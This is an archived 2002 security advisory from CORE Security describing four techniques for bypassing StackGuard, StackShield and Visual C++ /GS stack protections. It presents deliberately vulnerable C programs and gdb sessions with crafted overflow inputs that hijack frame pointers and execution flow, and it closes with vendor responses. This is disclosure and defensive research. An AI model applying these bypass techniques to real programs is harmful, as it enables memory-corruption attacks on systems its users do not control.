26th Sep 2002 [SBWID-5309]
COMMAND
Protected stack discussion and exploit
SYSTEMS AFFECTED
All
PROBLEM
In CORE SECURITY TECHNOLOGIES whitepaper [http://www.corest.com] :
In the past years, several technologies (in the form of software
packages) have been developed to protect programs against exploitation
of buffer overflow vulnerabilities. These technologies aim at detecting
and preventing the execution of hostile code that takes advantage of
software security vulnerabilities by overwriting a critical portion of
a running program's memory known as the stack.
The techniques used to exploit this type of vulnerabilities have been
discussed at length in the past years and, although they have been used
for years in malicious code, notably the famous Robert T. Morris worm
in 1988 [1], were initially introduced to the security community at
large in the pioneering articles "Smashing the stack for fun and
profit" [2] writen by Aleph1 and "How to write buffer overflows" by
Mudge.[3]
Technologies to detect and prevent "stack smashing" exploit code were
presented thereafter, notably at the 1998 USENIX Security conference
[4].
"Stack shielding" software have been developed on the promise of
preventing exploitation of buffer overflow vulnerabilities that make
use of the stack smashing techniques.
Several other techniques to exploit buffer overflows that DO NOT make
use of stack overwriting or code execution on the stack have be
presented during the past years.
Techniques that exploit vulnerabilities by overwriting or otherwise
abusing other memory portions of a running program are described in
Solar Designer's "Getting around non-executable stack (and fix)" [5],
"Advanced return-into-lib(c) exploits(PaX case study)" [6] and "w00w00
on Heap Overflows" [7].
However, for the purpose of this advisory we will focus on the stack
protection mechanisms and claim the current technologies do not provide
adecuate protection:
Stack shielding protections have been missunderstood, they only protect
a particular type of stack smashing exploitation, namely return address
overwrites, NOT generic stack smashing attacks as they claim.
This has been demostrated in the past, as in "Bypassing StackGuard And
StackShield" [8] and "Vulnerability in ImmuniX OS Security Alert:
StackGuard 1.21 Released" [9]
We studied the three most visible "stack shielding" technologies:
-Wirex StackGuard (http://www.immunix.com) and
-StackShield (http://www.angelfire.com/sk/stackshield/download.html)
-Stack Smashing Protection (SSP, formerly ProPolice), from Hiroaki Etoh
(http://www.trl.ibm.com/projects/security/ssp/)
As well as the recently introduced /GS stack protecting mechanism
incorporated into Microsoft's Visual C++ .NET as part of the Visual
Studio .NET product family. Information about the feature and details
on how it works are available at:
http://go.microsoft.com/fwlink/?LinkId=7260
We discovered that all of them present basic design limitations as well
as some implementation flaws.
Our conclusion is that although "stack shielding" technologies present
a valuable mean to prevent execution of certain forms of malicious
code, those technologies should not be thought as a solution to the
problem of buffer overflow vulnerabilities in general and not even as a
solution to some simple stack smashing techniques used to exploit those
vulnerabilities.
Stack shielding mechanims do not suffice to ameliorate the effects of
badly written software and could give a false sense of security of
devastating effects, if not considered as part of a general security
strategy that includes secure design methodologies, secure programming
practices, strict and well defined security testing processes and the
implementation of fixes and patches as well as the use of ad hoc
technologies to prevent exploitation of existing vulnerabilities,
publicy known or otherwise.
*Vulnerable Packages:*
- StackShield up to, and including, v0.7-beta is vulnerable to #1, #3 and
#4
- StackGuard 1.2 and 2.0.1 (included in Immunix 7.0) is vulnerable to all
the described methods.
- StackGuard 1.21 is not vulnerable to #2
Other StackGuard versions were not tested and are suspected to be
vulnerable as well.
- Programs compiled with Microsoft Visual C++ .NET /GS compiler switch are
still exploitable by using techniques described in problem #1.
Exploitation using #2, #3 and #4 is only possible if the attacker can
guess or bruteforce the correct value of the "cookie", the existence of
heuristics for doing that are not in the scope of this advisory.
- SSP (ProPolice) is NOT vulnerable to any of the described exploitation
methods.
*Credits:*
This vulnerabilities were discovered and researched by Gerardo Richarte
from CORE Security Technologies. Pionering work and ideas were
introduced by Richarte and many others (see the references section) in
various information security mailing lists and publications as far back
as 1999. We wish to thank Crispin Cowan and Seth Arnold from Wirex
(Immunix) for their quick response addressing this report.
*Technical Description - Exploit/Concept Code*
As stated previously, we have identified two basic design limitations
in the current stack smashing technologies:
First, they only protect data located in memory "above" the first
safeguarded address.
Second, (and we think this is a more serious limitation) they only
check for attacks after the called vulnerable function finishes, right
before returning from it so exploitation is possible BEFORE exiting the
vulnerable function.
In addition to this, StackGuard and StackShield have an implementation
flaw:
They protect the stack starting at the return address, leaving the
saved frame pointer unprotected.
In our study we found four different tricks to bypass stack smashing
protections, the first one is an extension of that described in the
previously refered articles and is a direct consecuence of design
limitations. The other three result from abusing frame pointer
overwrites, and may be corrected introducing some changes in the
protection mechanisms.
1) Control of function's arguments
In [8] and [9] a method to exploit stack based buffer overflows on
stack protected programs is presented. In the example, a local pointer
is used to write to arbitrary memory locations within the program's
memory space. This technique can be extended to exploit the fact that
in standard C compiled programs, function arguments are located in the
stack at "higher" addresses than the return address:
lower addresses
[ local variables ]
[ saved frame pointer ]
[ CANARY (0x000dff0a) ]
[ return address ]
[ function's arguments ]
higher addresses
Controlling functions arguments can effectively turn a stack protected
function into an exploitable program by turning the arguments into a
"write-anything-anywhere" primitive. Once the attacker has the ability
to "write anything, anywhere" it is trivial to bypass stack protection
mechanisms.
The following program will function as proof of concept code:
gera@vaiolent:~src/sg/tests$ cat >sg1.c <<_EOF_
/* sg1.c *
* specially crafted to feed your brain by [email protected] */
int func(char *msg) {
char buf[80];
strcpy(buf,msg);
// toupper(buf); // here just to give func() "some sense"
strcpy(msg,buf);
}
int main(int argv, char** argc) {
func(argc[1]);
}
_EOF_
gera@vaiolent:~src/sg/tests$ make sg1
cc sg1.c -o sg1
gera@vaiolent:~src/sg/tests$ gdb sg1
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
(gdb) p "Tests performed on Immunix 7.0, for StackShield remove "Cnry"
(gdb) r
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaa_EBPCnry_RETbbbb
(gdb) bt
#0 0x40094154 in strcpy () from /lib/libc.so.6
#1 0x8048469 in func ()
(gdb) x/3i $pc-3
0x40094151 <strcpy+17>: mov (%edx),%al
0x40094153 <strcpy+19>: inc %edx
0x40094154 <strcpy+20>: mov %al,(%ecx,%edx,1)
(gdb) x/s $edx
0xbffff95d: 'a' <repeats 79 times>, "_EBPCnry_RETbbbb"
(gdb) p/x $ecx+$edx
$2 = 0x62626262
(gdb) p "Now we can write anything anywhere"
2) Returning with an altered frame pointer
In standard frame pointer overwrite exploits [10], control over the the
frame pointer is gained after the first return from the vulnerable
function. Shortly before a second return control is gained over the
execution flow of the vulnerable program, since the attacker can now
control the stack pointer and therefore the address of where the
function will return to.
Using this technique against stack protected programs does not lead to
staight foward exploitation of vulnerabilities, however design
limitations can provide an effective way to use it. In this case we
will use StackGuard's protection as an example of exploitability.
StackGuard uses a protection mechanism called "terminator canary" that
prevents overwriting the return address. However an attacker can
overwrite *up to the terminator canary without modifying it* and thus
gain control over the frame pointer.
The following program serves as a proof of concept code:
gera@vaiolent:~src/sg/tests$ cat >sg2.c <<_EOF_
/* sg2.c *
* specially crafted to feed your brain by [email protected] */
void func(char *msg) {
char buf[80];
strcpy(buf,msg);
}
int main(int argv, char** argc) {
func(argc[1]);
}
_EOF_
gera@vaiolent:~src/sg/tests$ make sg2
cc sg2.c -o sg2
gera@vaiolent:~src/sg/tests$ gdb sg2
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
(gdb) p "To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J,
it's ok"
(gdb) r
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaa`echo -e '1111\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
"
Program received signal SIGSEGV, Segmentation fault.
0x80486b1 in main ()
(gdb) x/i $pc
0x80486b1 <main+25>: leave
(gdb) p/x $ebp
$2 = 0x31313131
(gdb) x/20x $sp
...
...
0xbffffc5c: 0x42424242 0x000aff0d ...
(gdb) p "You need to locate 0x42424242 in stack (0x42424242 corresponds to
'BBBB')
(gdb) p "Now run it again changin '1111' for the address you just found"
(gdb) r
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaa`echo -e '\x5c\xfc\xff\xbf\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
"
Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ??
() (gdb) p "As you can see, we hooked the execution flow"
3) Further control over local variables
Overwriting the least significant byte in the frame pointer with zero
(0x00) will move it at most 255 bytes ahead into stack space. Usually
this is exploited by making the new stack have a new return address,
but that would be detected or ignored on stack shielded programs.
However, what an attacker can do is control the last byte of the
caller's frame pointer, effectively controlling all of its local
variables and function's arguments. As we showed in #1 this can lead to
direct bypassing of the stack protection mechanisms. In this case we
expand the technique described in #1 and realize that an attacker can
control all the local variables and arguments of the *caller function*
without modifying any return address or canary.
The following program serves as a proof of concept code:
gera@vaiolent:~src/sg/tests$ cat >sg3.c <<_EOF_
/* sg3.c *
* specially crafted to feed your brain by [email protected] */
char *read_it() {
char buf[256];
buf[read(0,buf,sizeof buf)]=0;
return strdup(buf);
}
int main(int argv, char **argc) {
char *msg = malloc(1000);
snprintf(msg,999,"User: %s",read_it());
}
_EOF_
gera@vaiolent:~src/sg/tests$ make sg3
cc sg3.c -o sg3
gera@vaiolent:~src/sg/tests$ ulimit -c 1111111111
gera@vaiolent:~src/sg/tests$ perl -e 'print "A"x256' | ./sg3
Segmentation fault (core dumped)
gera@vaiolent:~src/sg/tests$ gdb sg3 core
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
#0 _IO_vsnprintf (string=0x41414141 <Address 0x41414141 out of bounds>,
maxlen=999, format=0x8048922 "User: %s", args=0xbffffac4)
at vsprintf.c:127
127 vsnprintf.c: No such file or directory.
(gdb) p "If you take a look an vsnprintf() arguments, you'll see we can
write anywhere in memory."
This example is valid for StackGuard and StackShielded programs. If
StackShield is used with the option to terminate execution when an
attack is detected, we only need to set as new return address the
original return address, so it doesn't detect a change.
4) Pointing the caller's frame to the Global Offset Table (GOT)
Finally, this technique is a variation a bit more complex than what was
presented before. In standard compiled C code, when not using
-fomit-frame-pointer compiler switch in GCC or equivalents in other
compilers, all local variables are accessed relative to the frame
pointer, then if an attacker gains full control over it, she can
arbitrarly choose where in memory local variables are placed, this is
the trick used in #3 but a slight variation introduces new
posibilities.
By using control over the frame pointer to place local variables and
function arguments on the Global Offest Table memory space (OR MANY
OTHER MEMORY PORTIONS, i.e. heap allocated memory) an attacker can
effectively exploit vulnerable programs bypassing stack protection
mechanisms.
The following program serves as a proof of concept code:
gera@vaiolent:~src/sg/tests$ cat >sg6.c <<_EOF_
/* sg6.c *
* specially crafted to feed your brain by [email protected] */
// XXX: Add real encryption here
#define decrypt(dest,src) strcpy(dest,src)
int is_new_user = 0;
int get_username(char *user) {
char temp[80];
decrypt(temp,user);
// XXX: add some real checks in the future
if (strcmp(temp,"gera")) is_new_user = 1;
return strdup(temp);
}
int main(int argv, char **argc) {
char *user_name;
user_name = get_username(argc[1]);
return 0;
}
_EOF_
gera@vaiolent:~src/sg/tests$ make sg6
cc sg6.c -o sg6
gera@vaiolent:~src/sg/tests$ gdb sg6
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
(gdb) p "To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J,
it's ok"
(gdb) r
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaBBBB`echo -e '\x0d\xff'`^J
"
Program received signal SIGSEGV, Segmentation fault.
0x8048750 in main ()
(gdb) x/i $pc
0x8048750 <main+28>: mov %eax,-4(%ebp)
(gdb) p/x $ebp
$1 = 0x62626262
(gdb) x/s $eax
0x80499f0: 'a' <repeats 80 times>, "bbbb\r�\n"
(gdb) p "And now, we are ready to write-anything-anywhere"
The same comments as in 3) regarding StackShield exploitation applies.
Microsoft's /GS protection mechanism is vulnerable to #1 but it is not
straight forward to use any of the other 3 methods of exploitation
because the frame pointer is protected with a random canary (known as
"COOKIE" in Microsoft documentation). The cookie is generated in the
seccinit.c file of the CRT source files and provided with Visual C++
.NET platform.
StackGuard v1.21 introduced the use of a random XOR canary for
protection, but this option is not present on v2.0.1 (as checked
browsing source code). While the random XOR canary protection would
have made some of the attacks (#3 and #4) not so straight forward, it
is still possible to abuse the design limitations and bypass protection
if a brute force approach is taken covering all possible values for a
one byte change of the random canary value, this gives the attacker a
1/256 chance of bypassing the protection, more than enough for a
sucessfull attack in most cases.
Note that using an XOR canary as in StackGuard 1.21, problem #2 is
prevented.
StackShield up to 0.7beta does not appear to be vulnerable to #2 but it
is vulnerable to the other explotation techniques.
A detailed paper describing the protection mechanisms and all of our
findings will be made available shortly after publication of this
advisory at http://www.corest.com/corelabs/papers
*References*
[1] - The Morris Worm -
http://www.wikipedia.com/wiki/Morris+Worm
[2] - Smashing the stack for fun and profit - Aleph1
http://community.corest.com/~juliano/bufo.html
(English - Spanish -Rusian)
[3] - How to write buffer overflows - Mudge.
http://community.corest.com/~juliano/l0pht-howtowrite-bof.html
[4] - Automatic Detection and Prevention of Buffer-Overflow Attacks
Crispin Cowan, Calton Pu, David Maier, Heather Hinton, Peat Bakke,
Steve Beattie, Aaron Grier, Perry Wagle, and Qian Zhang,
7th USENIX Security Symposium
http://www.immunix.org/StackGuard/usenixsc98.pdf
[5] - Getting around non-executable stack (and fix) - Solar Designer
http://online.securityfocus.com/archive/1/7480
[6] - The advanced return-into-lib(c) exploits: PaX case study - Nergal
http://www.phrack.com/show.php?p=58&a=4
[7] - w00w00 on Heap Overflows - Shock and w00w00
http://www.w00w00.org/files/articles/heaptut.txt
[8] - Bypassing StackGuard And StackShield - Bulba and Kil3r
http://www.phrack.org/show.php?p=56&a=5
[9] - Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21 Released -
Gerardo Richarte
http://online.securityfocus.com/archive/1/34225
[10]- The Frame Pointer Overwrite - klog
http://www.phrack.com/show.php?p=55&a=8
SOLUTION
Wirex's Immunix StackGuard.
Wirex offical response is:
The upcoming next release of StackGuard,version 3.0 fixes problems #2, #3
and #4 by moving the terminator canary to a position between the frame
pointer and all local variables.
Problem #1 is not part of StackGuard's threat model, that is StackGuard is
not designed to protect against exploitation before the vulnerable function
exits.
Microsoft Visual Studio .NET /GS
Refer to Microsoft's white paper describing the design and implementation
of the /GS switch: http://go.microsoft.com/fwlink/?LinkId=7260
StackShield
N/A
ProPolice/SSP
SSP is NOT vulnerable to any of the problems described.